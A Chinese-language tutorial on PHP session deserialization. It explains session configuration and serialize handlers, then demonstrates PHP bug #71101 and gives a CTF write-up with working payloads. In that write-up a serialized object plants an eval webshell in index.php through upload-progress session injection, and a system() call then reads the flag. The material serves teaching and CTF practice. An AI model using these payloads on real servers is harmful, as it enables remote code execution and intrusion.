sesssion反序列化
0x01 什么是 php session
谈 <font style="color:rgb(221, 17, 68);">PHP session</font>
之前,必须要知道什么是<font style="color:rgb(221, 17, 68);">session</font>
,那么到底什么是<font style="color:rgb(221, 17, 68);">session</font>
呢?
<font style="color:rgb(221, 17, 68);">Session</font>
一般称为“会话控制“,简单来说就是是一种客户与网站/服务器更为安全的对话方式。一旦开启了 <font style="color:rgb(221, 17, 68);">session</font>
会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建立了一种“对话”机制。不同语言的会话机制可能有所不同,这里仅讨论<font style="color:rgb(221, 17, 68);">PHP session</font>
机制。
<font style="color:rgb(221, 17, 68);">PHP session</font>
可以看做是一个特殊的变量,且该变量是用于存储关于用户会话的信息,或者更改用户会话的设置,需要注意的是,<font style="color:rgb(221, 17, 68);">PHP Session</font>
变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且其对应的具体 <font style="color:rgb(221, 17, 68);">session</font>
值会存储于服务器端,这也是与 <font style="color:rgb(221, 17, 68);">cookie</font>
的主要区别,所以<font style="color:rgb(221, 17, 68);">seesion</font>
的安全性相对较高。
0x02 PHP Session 的工作流程
会话的工作流程很简单,当开始一个会话时,PHP 会尝试从请求中查找会话 ID (通常通过会话 <font style="color:rgb(221, 17, 68);">cookie</font>
),如果发现请求的<font style="color:rgb(221, 17, 68);">Cookies</font>
、<font style="color:rgb(221, 17, 68);">Get</font>
、<font style="color:rgb(221, 17, 68);">Pos</font>
t中不存在<font style="color:rgb(221, 17, 68);">session id</font>
,PHP 就会自动调用<font style="color:rgb(221, 17, 68);">php_session_create_id</font>
函数创建一个新的会话,并且在<font style="color:rgb(221, 17, 68);">http response</font>
中通过<font style="color:rgb(221, 17, 68);">set-cookie</font>
头部发送给客户端保存,如下图:
有时候浏览器用户设置会禁止 <font style="color:rgb(221, 17, 68);">cookie</font>
,当在客户端<font style="color:rgb(221, 17, 68);">cookie</font>
被禁用的情况下,php也可以自动将<font style="color:rgb(221, 17, 68);">session id</font>
添加到url参数中以及<font style="color:rgb(221, 17, 68);">form</font>
的<font style="color:rgb(221, 17, 68);">hidden</font>
字段中,但这需要将<font style="color:rgb(221, 17, 68);">php.ini</font>
中的<font style="color:rgb(221, 17, 68);">session.use_trans_sid</font>
设为开启,也可以在运行时调用<font style="color:rgb(221, 17, 68);">ini_set</font>
来设置这个配置项。
会话开始之后,PHP 就会将会话中的数据设置到 <font style="color:rgb(221, 17, 68);">$_SESSION</font>
变量中,如下述代码就是一个在 <font style="color:rgb(221, 17, 68);">$_SESSION</font>
变量中注册变量的例子:
<?php
session_start();
if (!isset($_SESSION['username'])) {
$_SESSION['username'] = 'xianzhi' ;
}
?>
当 PHP 停止的时候,它会自动读取 <font style="color:rgb(221, 17, 68);">$_SESSION</font>
中的内容,并将其进行<font style="color:rgb(221, 17, 68);">序列化</font>
, 然后发送给会话保存管理器来进行保存。
默认情况下,PHP 使用内置的文件会话保存管理器来完成<font style="color:rgb(221, 17, 68);">session</font>
的保存,也可以通过配置项 <font style="color:rgb(221, 17, 68);">session.save_handler</font>
来修改所要采用的会话保存管理器。 对于文件会话保存管理器,会将会话数据保存到配置项<font style="color:rgb(221, 17, 68);">session.save_path</font>
所指定的位置。
整个流程大概如上所述,也可参考下述流程图:
0x03 PHP session 在 php.ini 中的配置
<font style="color:rgb(221, 17, 68);">PHP session</font>
在<font style="color:rgb(221, 17, 68);">php.ini</font>
中主要存在以下配置项:
- session.gc_divisor
php session垃圾回收机制相关配置
- session.sid_bits_per_character
指定编码的会话ID字符中的位数
- session.save_path=""
该配置主要设置<font style="color:rgb(221, 17, 68);">session</font>
的存储路径
- session.save_handler=""
该配置主要设定用户自定义存储函数,如果想使用PHP内置<font style="color:rgb(221, 17, 68);">session</font>
存储机制之外的可以使用这个函数
- session.use_strict_mode
严格会话模式,严格会话模式不接受未初始化的会话ID并重新生成会话ID
- session.use_cookies
指定是否在客户端用 cookie 来存放会话 ID,默认启用
- session.cookie_secure
指定是否仅通过安全连接发送 <font style="color:rgb(221, 17, 68);">cookie</font>
,默认关闭
- session.use_only_cookies
指定是否在客户端仅仅使用<font style="color:rgb(221, 17, 68);">cookie</font>
来存放会话 ID,启用的话,可以防止有关通过 URL 传递会话 ID 的攻击
- session.name
指定会话名以用做 <font style="color:rgb(221, 17, 68);">cookie</font>
的名字,只能由字母数字组成,默认为 <font style="color:rgb(221, 17, 68);">PHPSESSID</font>
- session.auto_start
指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动
- session.cookie_lifetime
指定了发送到浏览器的 cookie 的生命周期,单位为秒,值为 0 表示“直到关闭浏览器”。默认为 0
- session.cookie_path
指定要设置会话<font style="color:rgb(221, 17, 68);">cookie</font>
的路径,默认为 /
- session.cookie_domain
指定要设置会话<font style="color:rgb(221, 17, 68);">cookie</font>
的域名,默认为无,表示根据 <font style="color:rgb(221, 17, 68);">cookie</font>
规范产生<font style="color:rgb(221, 17, 68);">cookie</font>
的主机名
- session.cookie_httponly
将Cookie标记为只能通过HTTP协议访问,即无法通过脚本语言(例如JavaScript)访问Cookie,此设置可以有效地帮助通过XSS攻击减少身份盗用
- session.serialize_handler
定义用来序列化/反序列化的处理器名字,默认使用<font style="color:rgb(221, 17, 68);">php</font>
,还有其他引擎,且不同引擎的对应的session的存储方式不相同,具体可见下文所述
- session.gc_probability
该配置项与 <font style="color:rgb(221, 17, 68);">session.gc_divisor</font>
合起来用来管理 <font style="color:rgb(221, 17, 68);">garbage collection</font>
,即垃圾回收进程启动的概率
- session.gc_divisor
该配置项与<font style="color:rgb(221, 17, 68);">session.gc_probability</font>
合起来定义了在每个会话初始化时启动垃圾回收进程的概率
- session.gc_maxlifetime
指定过了多少秒之后数据就会被视为“垃圾”并被清除,垃圾搜集可能会在<font style="color:rgb(221, 17, 68);">session</font>
启动的时候开始( 取决于<font style="color:rgb(221, 17, 68);">session.gc_probability</font>
和 <font style="color:rgb(221, 17, 68);">session.gc_divisor</font>
)
- session.referer_check
包含有用来检查每个 <font style="color:rgb(221, 17, 68);">HTTP Referer</font>
的子串。如果客户端发送了<font style="color:rgb(221, 17, 68);">Referer</font>
信息但是在其中并未找到该子串,则嵌入的会话 ID 会被标记为无效。默认为空字符串
- session.cache_limiter
指定会话页面所使用的缓冲控制方法(<font style="color:rgb(221, 17, 68);">none/nocache/private/private_no_expire/public</font>
)。默认为 <font style="color:rgb(221, 17, 68);">nocache</font>
- session.cache_expire
以分钟数指定缓冲的会话页面的存活期,此设定对<font style="color:rgb(221, 17, 68);">nocache</font>
缓冲控制方法无效。默认为 180
- session.use_trans_sid
指定是否启用透明 SID 支持。默认禁用
- session.sid_length
配置会话ID字符串的长度。 会话ID的长度可以在22到256之间。默认值为32。
- session.trans_sid_tags
指定启用透明sid支持时重写哪些HTML标签以包括会话ID
- session.trans_sid_hosts
指定启用透明sid支持时重写的主机,以包括会话ID
- session.sid_bits_per_character
配置编码的会话ID字符中的位数
- session.upload_progress.enabled
启用上传进度跟踪,并填充<font style="color:rgb(221, 17, 68);">$ _SESSION</font>
变量, 默认启用。
- session.upload_progress.cleanup
读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用
- session.upload_progress.prefix
配置<font style="color:rgb(221, 17, 68);">$ _SESSION</font>
中用于上传进度键的前缀,默认为<font style="color:rgb(221, 17, 68);">upload_progress_</font>
- session.upload_progress.name
<font style="color:rgb(221, 17, 68);">$ _SESSION</font>
中用于存储进度信息的键的名称,默认为<font style="color:rgb(221, 17, 68);">PHP_SESSION_UPLOAD_PROGRESS</font>
- session.upload_progress.freq
定义应该多长时间更新一次上传进度信息
- session.upload_progress.min_freq
更新之间的最小延迟
- session.lazy_write
配置会话数据在更改时是否被重写,默认启用
以上配置项涉及到的安全比较多,如会话劫持、XSS、CSRF 等,这些不是本文的主题,故不在赘述,在这里主要来具体谈一谈<font style="color:rgb(221, 17, 68);">session.serialize_handler</font>
配置项
0x04 PHP session 的存储机制
上文中提到了 <font style="color:rgb(221, 17, 68);">PHP session</font>
的存储机制是由<font style="color:rgb(221, 17, 68);">session.serialize_handler</font>
来定义引擎的,默认是以文件的方式存储,且存储的文件是由<font style="color:rgb(221, 17, 68);">sess_sessionid</font>
来决定文件名的,当然这个文件名也不是不变的,如<font style="color:rgb(221, 17, 68);">Codeigniter</font>
框架的 <font style="color:rgb(221, 17, 68);">session</font>
存储的文件名为<font style="color:rgb(221, 17, 68);">ci_sessionSESSIONID</font>
,如下图所示:
当然,文件的内容始终是session值的序列化之后的内容:
<font style="color:rgb(221, 17, 68);">session.serialize_handler</font>
定义的引擎有三种,如下表所示:
处理器名称 | 存储格式 |
---|---|
php | 键名 + 竖线 + 经过<font style="color:rgb(221, 17, 68);">serialize()</font> 函数序列化处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过<font style="color:rgb(221, 17, 68);">serialize()</font> 函数序列化处理的值 |
php_serialize | 经过serialize()函数序列化处理的数组 |
注:自 PHP 5.5.4 起可以使用**** php_serialize
上述三种处理器中,<font style="color:rgb(221, 17, 68);">php_serialize</font>
在内部简单地直接使用 <font style="color:rgb(221, 17, 68);">serialize/unserialize</font>
函数,并且不会有<font style="color:rgb(221, 17, 68);">php</font>
和 <font style="color:rgb(221, 17, 68);">php_binary</font>
所具有的限制。 使用较旧的序列化处理器导致<font style="color:rgb(221, 17, 68);">$_SESSION</font>
的索引既不能是数字也不能包含特殊字符(<font style="color:rgb(221, 17, 68);">|</font>
和 <font style="color:rgb(221, 17, 68);">!</font>
) 。
下面我们实例来看看三种不同处理器序列化后的结果。
php 处理器
首先来看看<font style="color:rgb(221, 17, 68);">session.serialize_handler</font>
等于 <font style="color:rgb(221, 17, 68);">php</font>
时候的序列化结果,demo 如下:
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
序列化的结果为:<font style="color:rgb(221, 17, 68);">session|s:7:"xianzhi";</font>
<font style="color:rgb(221, 17, 68);">session</font>
为<font style="color:rgb(221, 17, 68);">$_SESSION['session']</font>
的键名,<font style="color:rgb(221, 17, 68);">|</font>
后为传入 GET 参数经过序列化后的值
php_binary处理器
再来看看<font style="color:rgb(221, 17, 68);">session.serialize_handler</font>
等于 <font style="color:rgb(221, 17, 68);">php_binary</font>
时候的序列化结果。
demo 如下:
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['sessionsessionsessionsessionsession'] = $_GET['session'];
?>
为了更能直观的体现出格式的差别,因此这里设置了键值长度为 35,35 对应的 ASCII 码为<font style="color:rgb(221, 17, 68);">#</font>
,所以最终的结果如下图所示:
序列化的结果为:<font style="color:rgb(221, 17, 68);">#sessionsessionsessionsessionsessions:7:"xianzhi";</font>
<font style="color:rgb(221, 17, 68);">#</font>
为键名长度对应的 ASCII 的值,<font style="color:rgb(221, 17, 68);">sessionsessionsessionsessionsessions</font>
为键名,<font style="color:rgb(221, 17, 68);">s:7:"xianzhi";</font>
为传入 GET 参数经过序列化后的值
php_serialize 处理器
最后就是<font style="color:rgb(221, 17, 68);">session.serialize_handler</font>
等于 <font style="color:rgb(221, 17, 68);">php_serialize</font>
时候的序列化结果,同理,demo 如下:
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
序列化的结果为:<font style="color:rgb(221, 17, 68);">a:1:{s:7:"session";s:7:"xianzhi";}</font>
<font style="color:rgb(221, 17, 68);">a:1</font>
表示<font style="color:rgb(221, 17, 68);">$_SESSION</font>
数组中有 1 个元素,花括号里面的内容即为传入 GET 参数经过序列化后的值
0x05 ·
这个 BUG 是由乌云白帽子<font style="color:rgb(221, 17, 68);">ryat</font>
师傅于<font style="color:rgb(221, 17, 68);">2015-12-12</font>
在 php官网上提出来的,他给了一个 payload,内容如下:
<form action =“ upload.php” method =“ POST” enctype =“ multipart / form-data”>
<input type =“ hidden” name =“ PHP_SESSION_UPLOAD_PROGRESS” value =“ ryat” />
<input type =“ file” name =“ file” />
<input type =“ submit” />
</ form>
然后<font style="color:rgb(221, 17, 68);">$_SESSION</font>
中的键值就会为<font style="color:rgb(221, 17, 68);">$_SESSION["upload_progress_ryat"]</font>
,在会话上传过程中,将对会话数据进行序列化/反序列化,序列化格式由<font style="color:rgb(221, 17, 68);">php.ini</font>
中的<font style="color:rgb(221, 17, 68);">session.serialize_handler</font>
选项设置。 这意味着,如果在脚本中设置了不同的<font style="color:rgb(221, 17, 68);">serialize_handler</font>
,那么可以导致注入任意<font style="color:rgb(221, 17, 68);">session</font>
数据。
上面的解释可能看起来有些绕,简单来说<font style="color:rgb(221, 17, 68);">php</font>
处理器和<font style="color:rgb(221, 17, 68);">php_serialize</font>
处理器这两个处理器生成的序列化格式本身是没有问题的,但是如果这两个处理器混合起来用,就会造成危害。
形成的原理就是在用<font style="color:rgb(221, 17, 68);">session.serialize_handler = php_serialize</font>
存储的字符可以引入 | , 再用<font style="color:rgb(221, 17, 68);">session.serialize_handler = php</font>
格式取出<font style="color:rgb(221, 17, 68);">$_SESSION</font>
的值时, <font style="color:rgb(221, 17, 68);">|</font>
会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞。
举个简单的例子。
定义一个<font style="color:rgb(221, 17, 68);">session.php</font>
文件,用于传入 <font style="color:rgb(221, 17, 68);">session</font>
值,文件内容如下:
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
先看看<font style="color:rgb(221, 17, 68);">session</font>
的初始内容,如下:
<font style="color:rgb(221, 17, 68);">a:1:{s:7:"session";s:5:"hello";}</font>
存在另一个<font style="color:rgb(221, 17, 68);">class.php</font>
文件,内容如下:
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class XianZhi{
public $name = 'panda';
function __wakeup(){
echo "Who are you?";
}
function __destruct(){
echo '<br>'.$this->name;
}
}
$str = new XianZhi();
?>
访问该页面可以看到:
实例化对象后,输出了<font style="color:rgb(221, 17, 68);">panda</font>
这两个文件的作用很清晰,<font style="color:rgb(221, 17, 68);">session.php</font>
文件的处理器是<font style="color:rgb(221, 17, 68);">php_serialize</font>
,<font style="color:rgb(221, 17, 68);">class.php</font>
文件的处理器是<font style="color:rgb(221, 17, 68);">php</font>
,<font style="color:rgb(221, 17, 68);">session.php</font>
文件的作用是传入可控的 <font style="color:rgb(221, 17, 68);">session</font>
值,<font style="color:rgb(221, 17, 68);">class.php</font>
文件的作用是在反序列化开始前输出<font style="color:rgb(221, 17, 68);">Who are you?</font>
,反序列化结束的时候输出<font style="color:rgb(221, 17, 68);">name</font>
值。
这两个文件如果想要利用<font style="color:rgb(221, 17, 68);">php bug #71101</font>
,我们要在<font style="color:rgb(221, 17, 68);">session.php</font>
文件传入<font style="color:rgb(221, 17, 68);">|</font>
+<font style="color:rgb(221, 17, 68);">序列化</font>
格式的值,然后再次访问<font style="color:rgb(221, 17, 68);">class.php</font>
文件的时候,就会在调用<font style="color:rgb(221, 17, 68);">session</font>
值的时候,触发此 BUG。
首先生成序列化字符串,利用 payload 如下
<?php
class XianZhi{
public $name;
function __wakeup(){
echo "Who are you?";
}
function __destruct(){
echo '<br>'.$this->name;
}
}
$str = new XianZhi();
$str->name = "xianzhi";
echo serialize($str);
?>
payload:<font style="color:rgb(221, 17, 68);">O:7:"XianZhi":1:{s:4:"name";s:7:"xianzhi";}</font>
然后传入<font style="color:rgb(221, 17, 68);">session.php</font>
:
此时的 <font style="color:rgb(221, 17, 68);">session</font>
内容如下:
<font style="color:rgb(221, 17, 68);">a:1:{s:7:"session";s:44:"|O:7:"XianZhi":1:{s:4:"name";s:7:"xianzhi";}";}</font>
再次访问<font style="color:rgb(221, 17, 68);">class.php</font>
文件的时候,就会发现已经触发了<font style="color:rgb(221, 17, 68);">php bug #71101</font>
,如下图所示:
这仅仅是一个简单的赋值、取值的问题举例,并没有涉及到如何控制 <font style="color:rgb(221, 17, 68);">session</font>
值的问题,下面我通过2019 年巅峰极客大赛的<font style="color:rgb(221, 17, 68);">lol</font>
这个<font style="color:rgb(221, 17, 68);">php session</font>
反序列化题进行实例说明。
0x06 实例说明 PHP session 反序列化
这题比赛的时候我们队把源码扣了下来,可能有些页面不全,但是不影响做题,题目的结构如下:
├── app
│ ├── controller
│ │ ├── Files.class.php
│ │ └── IndexController.class.php
│ ├── model
│ │ └── Download.class.php
│ └── view
│ └── Cache.class.php
├── core
│ ├── config.php
│ ├── core.php
│ └── func.php
├── index.php
├── upload
│ └── e9ovitochivkoamlodj6vu9g7g
└── user
在<font style="color:rgb(221, 17, 68);">config.php</font>
文件中找到了一个比较醒目的提示:
<?php
$config=array(
'debug'=>'false',
'ini'=>array(
'session.name' => 'PHPSESSID',
'session.serialize_handler' => 'php'
)
);
是的,就是上文中提到的<font style="color:rgb(221, 17, 68);">session.serialize_handler</font>
,那么再来看看在什么地方开启了<font style="color:rgb(221, 17, 68);">session</font>
,经过查找,在<font style="color:rgb(221, 17, 68);">/core/core.php</font>
文件中看到:
<?php
if(!defined('Core_DIR')){
exit();
}
include(Core_DIR.DS.'config.php');
include(Core_DIR.DS.'func.php');
_if_debug($config['debug']);
spl_autoload_register('autoload_class');
config($config['ini']);
session_start();
define('Upload_DIR',Image_DIR.DS.session_id());
init();
$app = new IndexController();
if(method_exists($app, $app->data['method'])){
$app->{$app->data['method']}($app->data['param']);
}else{
$app->index();
}
#$this->method($_POST)
主要是
config($config['ini']);
session_start();
这两局,说明是有读取 session 值的,前面也说了,既然是 php session 反序列化题,那第一步要做的肯定是寻找可控<font style="color:rgb(221, 17, 68);">session</font>
的点,经过寻找,在<font style="color:rgb(221, 17, 68);">app/model/Cache.class.php</font>
文件中找到,文件内容如下:
<?php
class Cache{
public $data;
public $sj;
public $path;
public $html;
function __construct($data){
$this->data['name']=isset($data['post']['name'])?$data['post']['name']:'';
$this->data['message']=isset($data['post']['message'])?$data['post']['message']:'';
$this->data['image']=!empty($data['image'])?$data['image']:'/static/images/pic04.jpg';
$this->path=Cache_DIR.DS.session_id().'.php';
}
function __destruct(){
$this->html=sprintf('<!DOCTYPE HTML><html><head><title>LOL</title><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" /><link rel="stylesheet" href="/static/css/main.css" /><noscript><link rel="stylesheet" href="/static/css/noscript.css" /></noscript> </head> <body class="is-preload"><div id="wrapper"><header id="header"> <div class="logo"><span class="icon fa-diamond"></span> </div> <div class="content"><div class="inner"> <h1>Hero of you</h1></div> </div> <nav><ul> <li><a href="#you">YOU</a></li></ul> </nav></header><div id="main"><article id="you"> <h2 class="major" ng-app>%s</h2> <span class="image main"><img src="%s" alt="" /></span> <p>%s</p><button type="button" onclick=location.href="/download/%s">下载</button></article></div><footer id="footer"></footer></div><script src="/static/js/jquery.min.js"></script><script src="/static/js/browser.min.js"></script><script src="/static/js/breakpoints.min.js"></script><script src="/static/js/util.js"></script><script src="/static/js/main.js"></script><script src="/static/js/angular.js"></script> </body></html>',substr($this->data['name'],0,62),$this->data['image'],$this->data['message'],session_id().'.jpg');
if(file_put_contents($this->path,$this->html)){
include($this->path);
}
}
}
在cache 类中,<font style="color:rgb(221, 17, 68);">name</font>
和<font style="color:rgb(221, 17, 68);">message</font>
的值通过 POST 请求得到,然后在传入到 <font style="color:rgb(221, 17, 68);">path</font>
页面,这样一来,就很清楚了,我们控制<font style="color:rgb(221, 17, 68);">name</font>
和<font style="color:rgb(221, 17, 68);">message</font>
一个变量的值,然后再选择一个<font style="color:rgb(221, 17, 68);">path</font>
,最终会在我们选择的<font style="color:rgb(221, 17, 68);">path</font>
页面生成我们想要的东西,payload 如下:
<?php
class Cache{
public $data ;
public $sj;
public $path = '/Library/WebServer/Documents/ctf/index.php';
public $html;
}
$str = new Cache();
$str->data= [
"name" => "payload",
"message" => "panda",
"image" => "panda"
];
echo serialize($str);
?>
生成序列化值如下:
O:5:"Cache":4:{s:4:"data";a:3:{s:4:"name";s:7:"payload";s:7:"message";s:5:"panda";s:5:"image";s:5:"panda";}s:2:"sj";N;s:4:"path";s:42:"/Library/WebServer/Documents/ctf/index.php";s:4:"html";N;}
然后将 <font style="color:rgb(221, 17, 68);">name</font>
中<font style="color:rgb(221, 17, 68);">payload</font>
的值改成<font style="color:rgb(221, 17, 68);"><?php eval($_GET[1]);?></font>
,如下:
O:5:"Cache":4:{s:4:"data";a:3:{s:4:"name";s:23:"<?php eval($_GET[a]);?>";s:7:"message";s:5:"panda";s:5:"image";s:5:"panda";}s:2:"sj";N;s:4:"path";s:42:"/Library/WebServer/Documents/ctf/index.php";s:4:"html";N;}
再利用上文中提到的<font style="color:rgb(221, 17, 68);">PHP BUG #71101</font>
,建立<font style="color:rgb(221, 17, 68);">up.html</font>
页面,页面内容如下:
<form action="http://10.37.14.49/ctf/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="panda" />
<input type="file" name="file" />
<input type="submit" />
</form>
抓包,修改<font style="color:rgb(221, 17, 68);">value</font>
的值,如下图所示:
由于请求后,<font style="color:rgb(221, 17, 68);">session</font>
会立刻被清空覆盖
因此需要不断发送请求,这里可以写脚本,也可以直接利用burp ,我偷个懒直接利用 burp :
然后index.php 的内容就会修改成以下内容:
直接向<font style="color:rgb(221, 17, 68);">index.php</font>
页面发送<font style="color:rgb(221, 17, 68);">?a=system('cat /Library/WebServer/Documents/ctf/flag');</font>
请求即可得到 flag